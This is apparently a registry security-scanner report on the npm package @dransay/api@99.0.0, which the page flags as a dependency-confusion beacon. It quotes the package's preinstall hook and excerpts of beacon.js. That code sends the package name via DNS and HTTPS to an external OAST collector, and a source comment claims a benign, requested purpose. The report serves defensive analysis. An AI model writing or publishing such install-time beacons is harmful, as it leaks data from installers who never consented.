registry / Malware / @dransay/api

@dransay/api

Benign dependency-confusion interaction beacon published at the explicit request of the DrAnsay/YesWeHack triage team (report #YWH-PGM42275-93). No data collection; see README.

This report shows the evidence for @dransay/api@99.0.0. 1 of 2 known versions is blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 10d ago · by lpm-firewall-ai

The package has an active preinstall disclosure to a publisher-selected research/OOB collector without installer consent, which meets the installation beacon blocking policy. The source’s claims of benignness and a triage-team request do not establish consent.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package runs its preinstall script.

Impact

The collector learns that the package was installed or resolved.

Mechanism

The script performs a DNS lookup and HTTPS GET using the package name and a publisher-selected OAST host.

Attack narrative

During installation, the preinstall hook sends the package name to an external OAST collector through DNS and HTTPS. The source provides no installer consent check. Its comments claim a benign research purpose and request, but those claims do not establish installer consent.

AI rationale

Evidence

package.jsonbeacon.js

Network endpoints1

db3klhbi6i9hark1kegg174t38h33b6wt.oast.site

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` runs `node beacon.js` automatically during preinstall.
`beacon.js` sends the package name in a DNS lookup and HTTPS GET to an OAST collector; the installer is given no consent guard.
A source comment asserts the beacon is benign and was requested by a triage team; that claim does not establish installer consent.

Evidence against

Behavioral surface

Source

Network

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 997 B of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node beacon.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"preinstall": "node beacon.js" } }

High

Ai Review Evidence

`package.json` runs `node beacon.js` automatically during preinstall.

package.jsonView on unpkg · L11

beacon.jsView file

•matchType = malicious_source_fingerprint_signature signature = a342d9b9bd7e4109 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @dransay/feature-flags@99.0.0 matchedPath = beacon.js matchedIdentity = npm:QGRyYW5zYXkvZmVhdHVyZS1mbGFncw:99.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.jsView on unpkg

14require('dns').lookup(pkg + '.' + d, function () {}); var req = require('https').get({ host: d, path: '/' + pkg, timeout: 2500 }, function (res) { res.resume(); }); req.on('error',

High

Ai Review Evidence

`beacon.js` sends the package name in a DNS lookup and HTTPS GET to an OAST collector; the installer is given no consent guard.

beacon.jsView on unpkg · L14

12var pkg = 'api'; var d = '[redacted].oast.site'; require('dns').lookup(pkg + '.' + d, functio

High

Ai Review Evidence

`beacon.js` sends the package name in a DNS lookup and HTTPS GET to an OAST collector; the installer is given no consent guard.

beacon.jsView on unpkg · L12

1// Benign dependency-confusion interaction beacon — NOT malware. // Published at the explicit request of the DrAnsay / YesWeHack triage team // (rep

High

Ai Review Evidence

A source comment asserts the beacon is benign and was requested by a triage team; that claim does not establish installer consent.

beacon.jsView on unpkg · L1

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node beacon.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"preinstall": "node beacon.js" } }

High

Ai Review Evidence

`package.json` runs `node beacon.js` automatically during preinstall.

package.jsonView on unpkg · L11

beacon.jsView file

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.js

Findings

6 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturebeacon.js

HighAi Review Evidencepackage.json

HighAi Review Evidencebeacon.js

MediumNetwork

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to @dransay/api@99.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @dransay/api@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-12 18:44:08.425Z (UTC).

Source advisory published: 2026-10-08 07:58:05.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

99.0.0latestshownMaliciousMalwareBlockPublishedOct 8, 2026, 7:58 AM 0.0.1Clean—AllowPublishedSep 29, 2026, 10:28 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @dransay

Other malware packages

Related packages

More from @dransay

Other malware packages

Source & flagged code